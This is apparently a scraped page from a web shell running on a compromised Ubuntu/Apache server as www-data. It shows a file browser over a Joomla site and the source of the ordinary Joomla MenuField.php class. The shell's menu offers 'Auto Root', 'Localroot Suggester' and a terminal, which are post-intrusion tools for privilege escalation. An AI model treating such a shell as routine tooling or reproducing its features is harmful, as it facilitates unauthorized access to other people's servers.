Linux anchor 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
Apache/2.4.18 (Ubuntu)
Server IP : 10.10.100.4 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
lusedi /
libraries /
src /
Form /
Field /
Delete
Unzip
Name
Size
Permission
Date
Action
AuthorField.php
1.53
KB
-rw-r--r--
2017-11-07 06:31
CaptchaField.php
3.44
KB
-rw-r--r--
2017-11-07 06:31
ChromestyleField.php
5.58
KB
-rw-r--r--
2017-11-07 06:31
ContenthistoryField.php
1.9
KB
-rw-r--r--
2017-11-07 06:31
ContentlanguageField.php
941
B
-rw-r--r--
2017-11-07 06:31
ContenttypeField.php
2.28
KB
-rw-r--r--
2017-11-07 06:31
EditorField.php
7.28
KB
-rw-r--r--
2017-11-07 06:31
FrontendlanguageField.php
1.96
KB
-rw-r--r--
2017-11-07 06:31
HeadertagField.php
1021
B
-rw-r--r--
2017-11-07 06:31
HelpsiteField.php
1.64
KB
-rw-r--r--
2017-11-07 06:31
LastvisitdaterangeField.php
1.49
KB
-rw-r--r--
2017-11-07 06:31
LimitboxField.php
2.24
KB
-rw-r--r--
2017-11-07 06:31
MediaField.php
6.14
KB
-rw-r--r--
2017-11-07 06:31
MenuField.php
2.88
KB
-rw-r--r--
2017-11-07 06:31
MenuitemField.php
5.91
KB
-rw-r--r--
2017-11-07 06:31
ModuleorderField.php
3.25
KB
-rw-r--r--
2017-11-07 06:31
ModulepositionField.php
4.07
KB
-rw-r--r--
2017-11-07 06:31
ModuletagField.php
1.04
KB
-rw-r--r--
2017-11-07 06:31
OrderingField.php
4.68
KB
-rw-r--r--
2017-11-07 06:31
PluginstatusField.php
747
B
-rw-r--r--
2017-11-07 06:31
RedirectStatusField.php
799
B
-rw-r--r--
2017-11-07 06:31
RegistrationdaterangeField.php
1.48
KB
-rw-r--r--
2017-11-07 06:31
StatusField.php
817
B
-rw-r--r--
2017-11-07 06:31
TagField.php
5.56
KB
-rw-r--r--
2017-11-07 06:31
TemplatestyleField.php
4.66
KB
-rw-r--r--
2017-11-07 06:31
UserField.php
3.85
KB
-rw-r--r--
2017-11-07 06:31
UseractiveField.php
1.17
KB
-rw-r--r--
2017-11-07 06:31
UsergrouplistField.php
2.71
KB
-rw-r--r--
2017-11-07 06:31
UserstateField.php
770
B
-rw-r--r--
2017-11-07 06:31
Save
Rename
<?php /** * Joomla! Content Management System * * @copyright Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\CMS\Form\Field; defined('JPATH_PLATFORM') or die; use Joomla\CMS\Factory; use Joomla\CMS\Form\FormHelper; // Import the com_menus helper. require_once realpath(JPATH_ADMINISTRATOR . '/components/com_menus/helpers/menus.php'); FormHelper::loadFieldClass('GroupedList'); /** * Supports an HTML select list of menus * * @since 1.6 */ class MenuField extends \JFormFieldGroupedList { /** * The form field type. * * @var string * @since 1.6 */ public $type = 'Menu'; /** * Method to get the field option groups. * * @return array The field option objects as a nested array in groups. * * @since 11.1 * @throws \UnexpectedValueException */ protected function getGroups() { $clientId = (string) $this->element['clientid']; $accessType = (string) $this->element['accesstype']; $showAll = (string) $this->element['showAll'] == 'true'; $db = Factory::getDbo(); $query = $db->getQuery(true) ->select($db->qn(array('id', 'menutype', 'title', 'client_id'), array('id', 'value', 'text', 'client_id'))) ->from($db->quoteName('#__menu_types')) ->order('client_id, title'); if (strlen($clientId)) { $query->where('client_id = ' . (int) $clientId); } $menus = $db->setQuery($query)->loadObjectList(); if ($accessType) { $user = Factory::getUser(); foreach ($menus as $key => $menu) { switch ($accessType) { case 'create': case 'manage': if (!$user->authorise('core.' . $accessType, 'com_menus.menu.' . (int) $menu->id)) { unset($menus[$key]); } break; // Editing a menu item is a bit tricky, we have to check the current menutype for core.edit and all others for core.create case 'edit': $check = $this->value == $menu->value ? 'edit' : 'create'; if (!$user->authorise('core.' . $check, 'com_menus.menu.' . (int) $menu->id)) { unset($menus[$key]); } break; } } } $opts = array(); // Protected menutypes can be shown if requested if ($clientId == 1 && $showAll) { $opts[] = (object) array( 'value' => 'main', 'text' => \JText::_('COM_MENUS_MENU_TYPE_PROTECTED_MAIN_LABEL'), 'client_id' => 1, ); } $options = array_merge($opts, $menus); $groups = array(); if (strlen($clientId)) { $groups[0] = $options; } else { foreach ($options as $option) { // If client id is not specified we group the items. $label = ($option->client_id == 1 ? \JText::_('JADMINISTRATOR') : \JText::_('JSITE')); $groups[$label][] = $option; } } // Merge any additional options in the XML definition. return array_merge(parent::getGroups(), $groups); } }